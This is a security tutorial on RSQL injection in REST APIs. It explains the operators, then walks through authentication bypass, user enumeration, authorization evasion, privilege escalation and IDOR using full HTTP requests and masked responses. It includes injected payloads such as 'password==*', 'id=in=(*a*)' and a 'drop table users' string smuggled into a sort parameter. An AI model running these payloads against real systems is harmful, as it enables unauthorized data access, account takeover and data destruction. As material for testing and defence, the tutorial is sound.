RSQL Injection

Author: David Utón (m3n0sd0n4ld)

What is RSQL?

RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.

Overview

RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to SQL Injection and LDAP Injection, this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization.

How does it work?

RSQL allows you to build advanced queries in RESTful APIs, for example: /products?filter=price>100;category==electronics

This translates to a structured query that filters products with price greater than 100 and category “electronics”.

If the application does not correctly validate user input, an attacker could manipulate the filter to execute unexpected queries, such as: /products?filter=id=in=(1,2,3);delete_all==true Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.

Risks

  • Exposure of sensitive data: An attacker can retrieve information that should not be accessible.
  • Data modification or deletion: Injection of filters that alter database records.
  • Privilege escalation: Manipulation of identifiers that grant roles through filters to trick the application by accessing with privileges of other users.
  • Evasion of access controls: Manipulation of filters to access restricted data.
  • Impersonation or IDOR: Modification of identifiers between users through filters that allow access to information and resources of other users without being properly authenticated as such.

Entry Point Detection

RSQL allows building queries through the q or query parameters. If this parameters is directly concatenated into queries without validation, it is likely vulnerable.

GET Parameters

GET /api/v2/users?q=username==admin # User enumeration or data extraction
GET /api/v2/users?q=username==admin;password==* # Authentication Bypass
GET /api/v2/users?filter[username]=admin User enumeration or data extraction
GET /api/v2/users?filter[username]==admin;password==* # Authentication Bypass
GET /api/v2/users?include=roles,permissions # User enumeration or data extraction
GET /api/v2/users?include=roles,(select * from users) # Execution of malicious code
GET /api/v2/users?sort=id;drop table users # Execution of malicious code

POST, TRACE or PUT Parameters

{
  "query": "username==admin;password==*" # Authentication Bypass
}

HTTP Headers

Some APIs allow queries to be sent in HTTP headers, such as: <HEADER>: username==admin;password==* # Authentication Bypass

Supported RSQL Operators

Operator Description Example
; / and Logical AND operator. Filters rows where both conditions are true /api/v2/myTable?q=columnA==valueA;columnB==valueB
, / or Logical OR operator. Filters rows where at least one condition is true /api/v2/myTable?q=columnA==valueA,columnB==valueB
== Performs an equals query. Returns all rows from myTable where values in columnA exactly equal queryValue /api/v2/myTable?q=columnA==queryValue
=q= Performs a search query. Returns all rows from myTable where values in columnA contain queryValue /api/v2/myTable?q=columnA=q=queryValue
=like= Performs a like query. Returns all rows from myTable where values in columnA are like queryValue /api/v2/myTable?q=columnA=like=queryValue
=notlike= Performs a not like query. Returns all rows from myTable where values in columnA are not like queryValue /api/v2/myTable?q=columnA=notlike=queryValue
=in= Performs an in query. Returns all rows from myTable where columnA contains valueA OR valueB /api/v2/myTable?q=columnA=in=(valueA, valueB)
=out= Performs an exclude query. Returns all rows of myTable where the values in columnA are neither valueA nor valueB /api/v2/myTable?q=columnA=out=(valueA,valueB)
!= Performs a not equals query. Returns all rows from myTable where values in columnA do not equal queryValue /api/v2/myTable?q=columnA!=queryValue
< & =lt= Performs a lesser than query. Returns all rows from myTable where values in columnA are lesser than queryValue /api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <= Performs a lesser than or equal to query. Returns all rows from myTable where values in columnA are lesser than or equal to queryValue /api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt= Performs a greater than query. Returns all rows from myTable where values in columnA are greater than queryValue /api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge= Performs a equal to or greater than query. Returns all rows from myTable where values in columnA are equal to or greater than queryValue /api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng= Performs a from to query. Returns all rows from myTable where values in columnA are equal or greater than the fromValue, and lesser than or equal to the toValue /api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Note: Table based on information from MOLGENIS and rsql-parser applications.

Examples

  • name=="Kill Bill";year=gt=2003
  • name=="Kill Bill" and year>2003
  • genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Note: Table based on information from rsql-parser application.

Common Filters

These filters help refine queries in APIs:

Filter Description Example
filter[users] Filters results by specific users /api/v2/myTable?filter[users]=123
filter[status] Filters by status (active/inactive, completed, etc.) /api/v2/orders?filter[status]=active
filter[date] Filters results within a date range /api/v2/logs?filter[date]=gte:2024-01-01
filter[category] Filters by category or resource type /api/v2/products?filter[category]=electronics
filter[id] Filters by a unique identifier /api/v2/posts?filter[id]=42

Common Parameters

These parameters help optimize API responses:

Parameter Description Example
include Includes related resources in the response /api/v2/orders?include=customer,items
sort Sorts results in ascending or descending order /api/v2/users?sort=-created_at
page[size] Controls the number of results per page /api/v2/products?page[size]=10
page[number] Specifies the page number /api/v2/products?page[number]=2
fields[resource] Defines which fields to return in the response /api/v2/users?fields[users]=id,name,email
search Performs a more flexible search /api/v2/posts?search=technology

Authentication Bypass

If there is no correct validation, it would be possible to evade it by using the wildcard * value as a password or try to guess it through a sequential and asterisk:

GET Parameters

GET /api/v2/users?q=username==admin;password==* 

POST, TRACE or PUT parameters

{
  "query": "username==admin;password==*"
}

HTTP Headers

Some APIs allow queries to be sent in HTTP headers, such as: <HEADER>: username==admin;password==*

Information Leakage and Enumeration of Users

The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and returns a true or false depending on whether or not it exists in the database:

Request

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 400 
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
    "errors": [{
        "code": "BLANK",
        "detail": "Missing required param: email",
        "status": "400"
    }]
}

Although a /api/registrations?email=<emailAccount> is expected, it is possible to use RSQL filters to attempt to enumerate and/or extract user information through the use of special operators:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": {
        "attributes": {
            "tenants": []
        }
    }
}

In the case of matching a valid email account, the application would return the user’s information instead of a classic “true”, “1” or whatever in the response to the server:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": {
        "id": "********************",
        "type": "UserAccountDTO",
        "attributes": {
            "id": "********************",
            "type": "UserAccountDTO",
            "email": "manuel**********@domain.local",
            "sub": "*********************",
            "status": "ACTIVE",
            "tenants": [{
                "id": "1"
            }]
        }
    }
}

Authorization Evasion

In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 403 
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Again we make use of the filters and special operators that will allow us an alternative way to obtain the information of the users and evading the access control. For example, filter by those users that contain the letter “a” in their user ID:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": [{
        "id": "********A***********",
        "type": "UserGetResponseCustomDTO",
        "attributes": {
            "status": "ACTIVE",
            "countryId": 63,
            "timeZoneId": 3,
            "translationKey": "************",
            "email": "**********@domain.local",
            "firstName": "rafael",
            "surname": "************",
            "telephoneCountryCode": "**",
            "mobilePhone": "*********",
            "taxIdentifier": "********",
            "languageId": 1,
            "createdAt": "2024-08-09T10:57:41.237Z",
            "termsOfUseAccepted": true,
            "id": "******************",
            "type": "UserGetResponseCustomDTO"
        }
    }, {
        "id": "*A*******A*****A*******A******",
        "type": "UserGetResponseCustomDTO",
        "attributes": {
            "status": "ACTIVE",
            "countryId": 63,
            "timeZoneId": 3,
            "translationKey": ""************",
            "email": "juan*******@domain.local",
            "firstName": "juan",
            "surname": ""************",",
            "telephoneCountryCode": "**",
            "mobilePhone": "************",
            "taxIdentifier": "************",
            "languageId": 1,
            "createdAt": "2024-07-18T06:07:37.68Z",
            "termsOfUseAccepted": true,
            "id": "*******************",
            "type": "UserGetResponseCustomDTO"
        }
    }, {
        ................

Privilege Escalation

It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:

Request

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": []
}

Using certain operators we could enumerate administrator users:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": [{
        "type": "CompanyUserGetResponseDTO",
        "attributes": {
            "companyId": "FA**************",
            "companyTaxIdentifier": "B999*******",
            "bizName": "company sl",
            "email": "jose*******@domain.local",
            "userRole": {
                "userRoleId": 1,
                "userRoleKey": "general.roles.admin"
            },
            "companyCountryTranslationKey": "*******",
            "type": "CompanyUserGetResponseDTO"
        }
    }]
}

After knowing an identifier of an administrator user, it would be possible to exploit a privilege escalation by replacing or adding the corresponding filter with the administrator’s identifier and getting the same privileges:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "meta": {
        "Functionalities": [{
            "functionalityId": 1,
            "permissionId": 1,
            "effectivePriority": "PERMIT",
            "effectiveBehavior": "PERMIT",
            "translationKey": "general.userProfile",
            "type": "FunctionalityPermissionDTO"
        }, {
            "functionalityId": 2,
            "permissionId": 2,
            "effectivePriority": "PERMIT",
            "effectiveBehavior": "PERMIT",
            "translationKey": "general.my_profile",
            "type": "FunctionalityPermissionDTO"
        }, {
            "functionalityId": 3,
            "permissionId": 3,
            "effectivePriority": "PERMIT",
            "effectiveBehavior": "PERMIT",
            "translationKey": "layout.change_user_data",
            "type": "FunctionalityPermissionDTO"
        }, {
            "functionalityId": 4,
            "permissionId": 4,
            "effectivePriority": "PERMIT",
            "effectiveBehavior": "PERMIT",
            "translationKey": "general.configuration",
            "type": "FunctionalityPermissionDTO"
        }, {
            .......

Impersonate or Insecure Direct Object References (IDOR)

In addition to the use of the filter parameter, it is possible to use other parameters such as include which allows to include in the result certain parameters (e.g. language, country, password…).

In the following example, the information of our user profile is shown:

Request

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": [{
        "id": "D5********************",
        "type": "UserGetResponseCustomDTO",
        "attributes": {
            "status": "ACTIVE",
            "countryId": 63,
            "timeZoneId": 3,
            "translationKey": "**********",
            "email": "domingo....@domain.local",
            "firstName": "Domingo",
            "surname": "**********",
            "telephoneCountryCode": "**",
            "mobilePhone": "******",
            "languageId": 1,
            "createdAt": "2024-03-11T07:24:57.627Z",
            "termsOfUseAccepted": true,
            "howMeetUs": "**************",
            "id": "D5********************",
            "type": "UserGetResponseCustomDTO"
        }
    }]
}

The combination of filters can be used to evade authorization control and gain access to other users’ profiles:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200 
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
    "data": [{
        "id": "94******************",
        "type": "UserGetResponseCustomDTO",
        "attributes": {
            "status": "ACTIVE",
            "countryId": 63,
            "timeZoneId": 2,
            "translationKey": "**************",
            "email": "jose******@domain.local",
            "firstName": "jose",
            "surname": "***************",
            "telephoneCountryCode": "**",
            "mobilePhone": "********",
            "taxIdentifier": "*********",
            "languageId": 1,
            "createdAt": "2024-11-21T08:29:05.833Z",
            "termsOfUseAccepted": true,
            "id": "94******************",
            "type": "UserGetResponseCustomDTO"
        }
    }]
}

References